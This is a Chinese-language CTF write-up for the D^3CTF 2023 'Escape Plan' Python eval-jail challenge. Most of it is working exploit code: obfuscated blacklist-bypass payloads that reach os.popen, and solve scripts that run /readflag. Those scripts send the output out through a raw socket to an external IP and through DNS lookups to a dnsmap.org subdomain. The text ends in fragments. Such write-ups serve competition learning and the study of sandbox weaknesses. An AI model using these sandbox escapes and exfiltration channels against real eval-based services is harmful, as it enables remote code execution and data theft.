exp = '__import__("os").system("id")'
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
如果if过滤
CMD = [eval][eval(list(dict(b_o_o_l=1))[0][::2])(eval(list(dict(e_x_e_c=1))[0][::2])(eval(list(dict(b_y_t_e_s=1))[0][::2])([eval(list(dict(o_r_d=1))[0][::2])(j)for(i)in(list(eval(list(dict(o_p_e_n=1))[0][::2])(eval(list(dict(s_t_r=1))[0][::2])(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_a_s_e_6_4=1))[0][::2]))[23:-2])))[:-5]for(j)in(i)])))](eval(list(dict(b_6_4_d_e_c_o_d_e=1))[0][::2])(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))
利用点处于函数内部,exec生成的变量无法在函数上下文中使用
eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))
数字禁用
0
->len([])
2
->len(list(dict(aa=()))[len([])])
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=()))[len([])]))"
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
2023 D^3CTF writeup by 万年三等奖 (qq.com)
Escape Plan
app.py
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def challenge_3():
cmd = request.form.get("cmd", "")
if not cmd:
return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""
try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"
black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'
msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"
return msg
一
过滤了很多…
特别是.
和引号的过滤限制了很多操作
利用unicode字符替换掉e,然后利用 vars(binascii)
里的a2b_base64
进行base64解码,由于base64编码在参数位置,我们还是用unicode数字来进行替换绕过,绕过之后命令执行无法直接反弹
payload
import requests, base64
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
payload = b"""__import__('os').popen("python -c 'import socket, os; flag = os.popen(\\"/readflag\\").read().encode();host = \\"39.105.125.61\\";port=667;s =socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;'").read()"""
payload = str(base64.b64encode(payload)).strip('b').strip("'")
print(payload)
CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}=()))[len([])]))".format(payload)#注意这里dict({}())不用写=,因此要调试一下payload字符为3的倍数保证编码无=
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
r = requests.post("http://139.196.153.118:30187/", data={"cmd":base64.b64encode(CMD.encode())}).text
print(CMD)
print("\n")
print(r)
X19pbXBvcnRfXygnb3MnKS5wb3BlbigicHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LCBvczsgZmxhZyA9IG9zLnBvcGVuKFwiL3JlYWRmbGFnXCIpLnJlYWQoKS5lbmNvZGUoKTtob3N0ID0gXCIzOS4xMDUuMTI1LjYxXCI7cG9ydD02Njc7cyA9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKGhvc3QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk7cy5jbG9zZSgpO2E9MTsnIikucmVhZCgp=
ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_𝟤_b𝟣_𝟣b_a_s_e_𝟨_𝟦=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X𝟣𝟫pbXBvcnRfXygnb𝟥MnKS𝟧wb𝟥BlbigicHl𝟢aG𝟫uIC𝟣jICdpbXBvcnQgc𝟤𝟫ja𝟤V𝟢LCBvczsgZmxhZyA𝟫IG𝟫zLnBvcGVuKFwiL𝟥JlYWRmbGFnXCIpLnJlYWQoKS𝟧lbmNvZGUoKTtob𝟥N𝟢ID𝟢gXCIzOS𝟦xMDUuMTI𝟣LjYxXCI𝟩cG𝟫ydD𝟢𝟤Njc𝟩cyA𝟫c𝟤𝟫ja𝟤V𝟢LnNvY𝟤tldChzb𝟤NrZXQuQUZfSU𝟧FVCwgc𝟤𝟫ja𝟤V𝟢LlNPQ𝟢tfU𝟣RSRUFNKTtzLmNvbm𝟧lY𝟥QoKGhvc𝟥QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk𝟩cy𝟧jbG𝟫zZSgpO𝟤E𝟫MTsnIikucmVhZCgp=()))[len([])]))
success
进程已结束,退出代码0
二
https://fq6p9pyo5tt.feishu.cn/docx/InUFdQUKdozf8yx5IhGcf5zInSe
过滤数字利用len(black_char)
和len([])
绕过
repr(request)
拿到字符串,再使用数组配合位运算符切片截取
import requests
import base64
shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org'
s=''
for i in shell:
s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://47.102.115.18:30634/?'+payload
response=requests.post(url=url,data=data)
print(response.text)
三
NU1L
requests.post(url=url,data=data)
print(response.text)
## 三
[外链图片转存中...(img-GQZ2oZZ3-1683123003633)]